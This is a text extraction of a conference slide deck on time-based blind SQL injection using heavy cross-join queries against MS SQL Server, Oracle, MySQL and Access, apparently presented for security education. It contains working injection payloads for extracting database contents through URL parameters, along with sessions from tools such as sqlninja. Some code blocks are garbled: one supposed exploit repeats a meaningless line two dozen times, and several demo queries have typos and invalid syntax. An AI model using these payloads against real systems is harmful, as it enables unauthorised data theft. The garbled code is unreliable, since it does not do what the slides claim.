Time-Based Blind SQL Injection using heavy queries:
A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool

Speakers: Chema Alonso
Informática64
MS MVP Windows Security
chema@informatica64.com

José Parada
Microsoft
IT Pro Evangelist
jparada@microsoft.com

Agenda

- Code Injections
- What are Blind Attacks?
- Blind SQL Injection Attacks
  - Tools
  - Time-Based Blind SQL Injection
    - Tools
    - Time-Based Blind SQL Injection using heavy queries
- Demos
- Marathon Tool
Code Injection

- Developer don’t sanitize correctly the input parameters and use them in queries directly:
  - Command Injection
  - SQL Injection
  - LDAP Injection
  - Xpath Injection

Blind Attacks

- Attacker injects code but can’t access directly to the data.
- However this injection changes the behavior of the web application.
- Then the attacker looks for differences between true code injections (1=1) and false code injections (1=2) in the response pages to extract data.
Blind SQL Injection Attacks

- Attacker injects:
  - “True where clauses”
  - “False where clauses“
- Ex:
  - Program.php?id=1 and 1=1
  - Program.php?id=1 and 1=2
- Program returns not any visible data from database nor data in error messages either.
- The attacker can’t see any data extracted from the database.

Blind SQL Injection Attacks

- Attacker analyzes the response pages looking for differences between “True-Answer Page” and “False-Answer Page”:
  - Different hashes
  - Different html structure
  - Different patterns (keywords)
  - Different linear ASCII sums
  - “Different behavior”
    - By example: Response Time
Example: “True-Answer Page”

Example: “False-Answer Page”
Blind SQL Injection Attacks

- If any difference exist, then:
  - Attacker can extract all information from database
  - How? Using “booleanization”
    - MySQL:
      - Program.php?id=1 and 100>(ASCII(Substring(user(),1,1)))
      - “True-Answer Page” or “False-Answer Page”?
    - MSSQL:
      - Program.php?id=1 and 100>(Select top 1 ASCII(Substring(name,1,1))) from sysusers)
    - Oracle:
      - Program.php?id=1 and 100>(Select ASCII(Substring(username,1,1))) from all_users where rownum<=1)

Blind SQL Injection Attacks: Tools

- SQLbfTools: Extract all information from MySQL databases using patterns

```
\$ sqlbf -t http://192.168.1.100/dos.pl -u user1 -p user1 -q
```

http://sql adaptive brute force $Revision: 1.13 $
http://www.unsec.net

This program is now being developed by Dab at

```
http://www.unsec.net
```

host: 192.168.1.100
user: user1
sql: user1
sql: (null)
null: 0
pass: David
chars: abcd...xyz0123456789
: -0123456789
: 0-9 chars loaded 380 bytes
result: user1 = www-data@localhost
```
Blind SQL Injection Attacks: Tools

- Absinthe: Extract all information from MSSQL and Oracle Databases using Linear sum of ASCII values.
Time-Based Blind SQL Injection

- In scenarios with no differences between “True-Answer Page” and “False-Answer Page”, time delays could be use.
- Injection forces a delay in the response page when the condition injected is True.
  - Delay functions:
    - SQL Server: waitfor
    - Oracle: dbms_lock.sleep
    - MySQL: sleep or Benchmark Function
  - Ex:
    - ; if (exists(select * from users)) waitfor delay '0:0:5'

Exploit for Solar Empire Web Game

```sql
1. $sql1 = "password";
2. $sql2 = "admin";
3. $sql = "$sql1 OR 1=1--";
4. $sql = "$sql1 OR 1=1--";
5. $sql = "$sql1 OR 1=1--";
6. $sql = "$sql1 OR 1=1--";
7. $sql = "$sql1 OR 1=1--";
8. $sql = "$sql1 OR 1=1--";
9. $sql = "$sql1 OR 1=1--";
10. $sql = "$sql1 OR 1=1--";
11. $sql = "$sql1 OR 1=1--";
12. $sql = "$sql1 OR 1=1--";
13. $sql = "$sql1 OR 1=1--";
14. $sql = "$sql1 OR 1=1--";
15. $sql = "$sql1 OR 1=1--";
16. $sql = "$sql1 OR 1=1--";
17. $sql = "$sql1 OR 1=1--";
18. $sql = "$sql1 OR 1=1--";
19. $sql = "$sql1 OR 1=1--";
20. $sql = "$sql1 OR 1=1--";
21. $sql = "$sql1 OR 1=1--";
22. $sql = "$sql1 OR 1=1--";
23. $sql = "$sql1 OR 1=1--";
24. $sql = "$sql1 OR 1=1--";
```

07/04/2008
Time-Based Blind SQL Injection: Tools

- SQL Ninja: Use exploitation of “Waitfor” method in MSSQL Databases

```
sqlblade sqlninja #./sqlninja -m test
sqlninja rel. 0.1.2
Copyright (c) 2006-2007 jonnefjor <jonnef@northernfortress.net>
[-] sqlninja.conf does not exist. You want to create it now? [y/n]

[*] Creating a new configuration file. Keep in mind that only basic options
    will be generated, and that the file should be manually edited for advanced
    options and fine tuning

[1/9] Victim host (e.g.: www.victim.com):
    192.168.240.10

[2/9] Remote port [00]:

[3/9] Use SSL (y/n/auto) [auto]
    y

[4/9] Method to use [GET/POST] [GET]

[5/9] Vulnerable page, including path and leading slash
    (e.g.: /dir/target.asp)
```

Time-Based Blind SQL Injection

- And in these scenarios with no differences between “true-answer page” and “false-answer page”...
- What about databases engines without delay functions, i.e., MS Access, Oracle connection without PL/SQL support, DB2, etc...?
- Is possible to perform an exploitation of Time-Base Blind SQL Injection Attacks?
Time-Based Blind SQL Injection using Heavy Queries

- Attacker can perform an exploitation delaying the “True-answer page” using a heavy query.
- It depends on how the database engine evaluates the where clauses in the query.
- There are two types of database engines:
  - Databases without optimization processes.
    - The engine evaluates the condition in the where clauses from left to right or from right to left.
    - Select items from table where condition1 and condition2.
    - It is a developer task to evaluate the lighter condition in first place for better performance.

- Databases with optimization processes.
  - The engine estimates the cost of the condition evaluations in the where clauses and execute the lighter first. No matter where it is.
  - Select items from table where condition1 and condition2.
  - It is a database engine task to improve the performance of the query.

- An Attacker could exploit a Blind SQL Injection attack using heavy queries to obtain a delay in the “True-answer page” in both cases.
Time-Based Blind SQL Injection using Heavy Queries

- Attacker could inject a heavy Cross-Join condition for delaying the response page in True-Injections.
- The Cross-join injection must be heavier than the other condition.
- Attacker only have to know or to guess the name of a table with select permission in the database.
- Example in MSSQL:
  - Program.php?id=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>0 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers)

Demo 1: MS SQL Server

C:\\wug\pist\get-1.10 -> "http://www.informatica64.com/pista.aspx?id=pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>0 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers)"

Query lasts 14 seconds -> True-Answer
Demo 1: MS SQL Server

```
-- Testing time: 1.08 seconds

-- SQL query example
SELECT 1 FROM syusers AS sys1, syusers AS sys2, syusers AS sys3, syusers AS sys4, syusers AS sys5, syusers AS sys6, syusers AS sys7, syusers AS sys8, syusers AS sys9
ORDER BY 1, 2, 3, 4, 5, 6, 7, 8, 9
```

Query lasts 1 second -> False-Answer

Demo 2: Oracle

```
-- Testing time: 22 seconds

-- SQL query example
SELECT 1 FROM all_users AS u1, all_users AS u2, all_users AS u3, all_users AS u4, all_users AS u5
WHERE u1 = 1 AND u2 = 2 AND u3 = 3 AND u4 = 4 AND u5 = 5
ORDER BY 1, 2, 3, 4, 5
```

Query Lasts 22 seconds -> True-Answer
Demo 2: Oracle

```sql
SELECT count(*) FROM all_users WHERE username NOT IN ('u1', 'u2')
```

Query Lasts 1 second --> False-Answer

Demo 3: Access 2000

```sql
SELECT count(*) FROM AccessObjects WHERE ObjectName like 'Demo%'
```

Query Lasts 6 seconds --> True-Answer
Demo 3: Access 2000

Query Lasts 1 second -> False-Answer

Demo 4: Access 2007

Query Lasts 39 seconds -> True-Answer
Demo 4: Access 2007

C:\webapps\net -v "http://localhost:3992/Blind1\pista.aspx?id_pista=1 and (SELECT COUNT(*) FROM MSysAccessStorage t1, MSysAccessStorage t2, MSysAccessStorage t3, MSysAccessStorage t4, MSysAccessStorage t5, MSysAccessStorage t6) = 0 and not exists (select 1 from comtrans)" -d resultado.txt


> resultado.txt

Query Lasts 1 second –> False-Answer

Marathon Tool

- Automates Time-Based Blind SQL Injection Attacks using Heavy Queries in SQL Server and Oracle Databases.
- Schema Extraction
- Developed in .NET
Demo 5: Marathon Tool

Conclusions

- Time-Based Blind SQL Injection using Heavy Queries works with any database.
- The delay generated with a heavy query depends on the environment of the database and the network connection.
- It is possible extract all the information stored in the database using this method.
- We already have a POC tool for extract all the database structure in MSSQL and Oracle engines.
Questions?

Speakers:
- Chema Alonso
  - chema@informatica64.com
  - Microsoft MVP Windows Security
  - Security Consultant
  - Informática64
- José Parada
  - jparada@microsoft.com
  - Microsoft IT Pro Evangelist
  - Microsoft

Authors:
- Chema Alonso (chema@informatica64.com)
- Daniel Kachakil (dani@kachakil.com)
- Rodolfo Bordón (rodol@informatica64.com)
- Antonio Guzmán (antonio.guzman@urjc.es)
- Marta Beltrán (marta.beltran@urjc.es)